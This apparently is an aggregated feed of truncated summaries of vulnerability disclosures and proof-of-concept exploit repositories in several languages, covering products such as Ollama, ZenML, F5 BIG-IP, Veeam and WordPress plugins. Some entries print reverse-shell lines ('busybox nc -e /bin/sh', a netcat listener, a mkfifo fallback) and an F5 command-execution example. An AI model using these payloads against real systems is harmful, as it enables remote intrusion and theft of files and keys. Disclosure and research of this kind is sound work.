kiterunner

Kiterunner 소개 오랫동안 콘텐츠 디스커버리는 파일과 폴더를 찾는 데 집중되어 왔습니다. 이 접근 방식은 정적 파일을 호스팅하거나 부분 경로에 대해 3xx 응답을 반환하는 레거시 웹 서버에는 효과적이지만, 최신 웹 애플리케이션, 특히 API에는 더 이상 효과적이지 않습니다. 시간이 지남에 따라 더 큰 단어 목록을 사용할 수 있도록 콘텐츠 디스커버리 도구를 더 빠르게 만드는 데 많은 시간이 투자되었지만, 콘텐츠 디스커버리의 기술 자체는 혁신되지 않았습니다. Kiterunner는 기존의 콘텐츠 디스커버리를 매우 빠른 속도로...

zenml-CVE-2024-2083-POC

CVE-2024-2083 – ZenML 任意ファイル読み取り PoC このリポジトリは、ZenML における任意ファイル読み取り（Arbitrary File Read）の脆弱性 CVE-2024-2083 を再現する方法を示しています。 この問題により、攻撃者は /api/v1/steps API リクエスト内の logs.uri フィールドを悪用して、サーバーのファイルシステムからファイルを読み取ることができます。プロキシを使用してこの値を変更すると、パストラバーサルが実行可能になり、ZenML UI のログを通じて機密ファイルが漏えいする可能性があります。 概要 脆弱性:...

CVE-2026-7020

CVE-2026-7020 Ollamaのテンソルダイジェストのパストラバーサルによる任意ファイル読み取り。認証なしの3回のAPI呼び出しで、到達可能なOllamaホストからSSHホスト鍵（およびその他の任意のファイル）を窃取します。 ライトアップ: 共同研究者 @gouldnicholas 使用方法 python3 poc.py 既知のサイズを持つ3種類すべてのSSHホスト鍵を試行し、取得できたものを出力します。 CVE CVE-2026-7020...

CVE-2026-23520

CVE-2026-23520 MCP API リモートコマンド実行（RCE）PoC 📌 概要 このリポジトリには、脆弱なMCP APIエンドポイント（一般的には /api/mcp/connect）を公開するアプリケーションに影響を与えるリモートコマンド実行（RCE）脆弱性のProof-of-Concept（PoC）エクスプロイトが含まれています。 この脆弱性により、細工されたAPIリクエストを介してシステムレベルのコマンドを実行できます。 🚀 クイックスタート 1. リスナーを起動する nc -lvnp ATTACKERPORT 2. エクスプロイトを実行する python3...

CVE-2026-67171

HCL BigFix Service Management is affected by an Information Disclosure vulnerability because an exposed API endpoint exposes sensitive internal database information. This information could enable an attacker to facilitate targeted database attacks...

zimaos-cve-2026-28286-arbitrary-file-write

🚨 CVE-2026-28286 — ZimaOS 任意文件写入 从 API 配置错误 → 任意文件写入 → 潜在的系统入侵 ⚡ 摘要 端点: /v21/files/file 问题: 无路径验证 影响: 可在预期目录之外进行任意文件写入 严重性: 🔴 严重 🧪 快速开始 git clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git cd zimaos-cve-2026-28286-arbitrary-file-write pip install -r requirements.txt...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP RCE エクスプロイト Linux /api/mcp/connect を悪用してリモートコマンド実行を行うPoCです。 要件 pip install requests 使用方法 python3 exploit.py 例: python3 exploit.py mcp.something.com 設定 スクリプト内で編集 attackerip = "YOURIP" port = 4444 リスナー nc -lvnp 4444 ペイロード デフォルト: busybox nc -e /bin/sh フォールバック: rm /tmp/f; mkfif...

CVE-2026-35045-PoC

CVE-2026-35045 — Tandoor Recipes におけるオブジェクトレベル認可の欠陥 概要 Tandoor Recipes v2.6.1 の PUT /api/recipe/batchupdate/ エンドポイントは、スペース内の任意の認証済みユーザー がそのスペース内の任意のレシピ（他のユーザーが所有するプライベートレシピを含む）を変更することを許可します。これにより、すべての標準的な単一レシピエンドポイントで強制されるオブジェクトレベル認可チェックが完全にバイパスされます。 根本原因は Django REST Framework の動作上のギャップです :...

CVE-2026-30945-PoC

🗑️ CVE-2026-30945 StudioCMS IDOR — 任意APIトークン失効によるサービス拒否（DoS） NVD • Advisory • CWE-639 概要 StudioCMS ≤ 0.3.0 の DELETE /studiocmsapi/dashboard/api-tokens エンドポイントは、editor 以上の権限を持つ認証済みユーザーが、他の任意のユーザー （admin や owner アカウントを含む）に属するAPIトークンを失効させることを許可します。 このハンドラーは、トークンの所有権、呼び出し元の身元、またはロール階層を検証することなく、tokenID...

EUVD-2026-57810

SiYuan: The reference filter for getRefIDs checks visibility but not the password tier, disclosing that password-protected documents reference a given block...

CVE-2026-67171

HCL BigFix Service Management is impacted by an Information Disclosure vulnerability. The root cause is an exposed API endpoint that reveals sensitive internal database information, which could be leveraged by an attacker to facilitate targeted database attacks . No specific exploit details or re...

CVE-2026-67171 HCL BigFix Service Management is affected by multiple security vulnerabilities.

HCL BigFix Service Management is affected by an Information Disclosure vulnerability because an exposed API endpoint exposes sensitive internal database information. This information could enable an attacker to facilitate targeted database attacks...

EUVD-2026-90903

HCL BigFix Service Management is affected by an Information Disclosure vulnerability because an exposed API endpoint exposes sensitive internal database information. This information could enable an attacker to facilitate targeted database attacks...

EUVD-2026-57811

SiYuan: Outline state for any document, including documents forbidden to readers, is returned by /api/storage/getOutlineStorage with no access check...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 の確認とエクスプロイト インストール: python3 -m pip install -r requirements.txt 使用方法 単一 : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 複数 : python3 cve.py m host list endpoint apicommand poo...

CVE-2025-4631

🚨 CVE-2025-4631 - Profitori WordPress プラグイン権限昇格エクスプロイト 📌 脆弱性概要 Profitori プラグイン（バージョン 2.0.6.0 から 2.1.1.3） は、/wp-json/stocktend/v1/stocktendobject エンドポイントの権限チェック欠如により、認証されていない権限昇格 に対して脆弱です。これにより、リモート攻撃者は wpcapabilities メタフィールドを直接操作して、既存ユーザーの権限を昇格（または新規ユーザーを作成）することができます。 CVE : CVE-2025-4631 CVSS スコア...

CVE-2023-27532

CVE-2023-27532 CVE-2023-27532 に影響を受ける Veeam Backup and Replication の PoC 技術的分析 脆弱性の技術的な根本原因分析は、次のブログでご覧いただけます: https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive 概要 この PoC は、安全でない API エンドポイントを悪用して認証情報を抽出します。 使用方法...

CVE-2026-103533

A path traversal vulnerability exists in the database-servers API Endpoint of David-Crty databasement versions up to 1.7.1 . The flaw is located in the app/Http/Requests/Api/V1/RestoreRequest.php file and stems from the improper handling of the schema_name argument. An attacker can potentially la...

CVE-2026-103533 David-Crty databasement database-servers API Endpoint RestoreRequest.php 511 path traversal

A vulnerability was found in David-Crty databasement up to 1.7.1. This impacts the function https:/github.com/David-Crty/databasement/pull/511 of the file app/Http/Requests/Api/V1/RestoreRequest.php of the component database-servers API Endpoint. The manipulation of the argument schemaname result...

CVE-2026-103533 David-Crty databasement database-servers API Endpoint RestoreRequest.php 511 path traversal

A vulnerability was found in David-Crty databasement up to 1.7.1. This impacts the function https:/github.com/David-Crty/databasement/pull/511 of the file app/Http/Requests/Api/V1/RestoreRequest.php of the component database-servers API Endpoint. The manipulation of the argument schemaname result...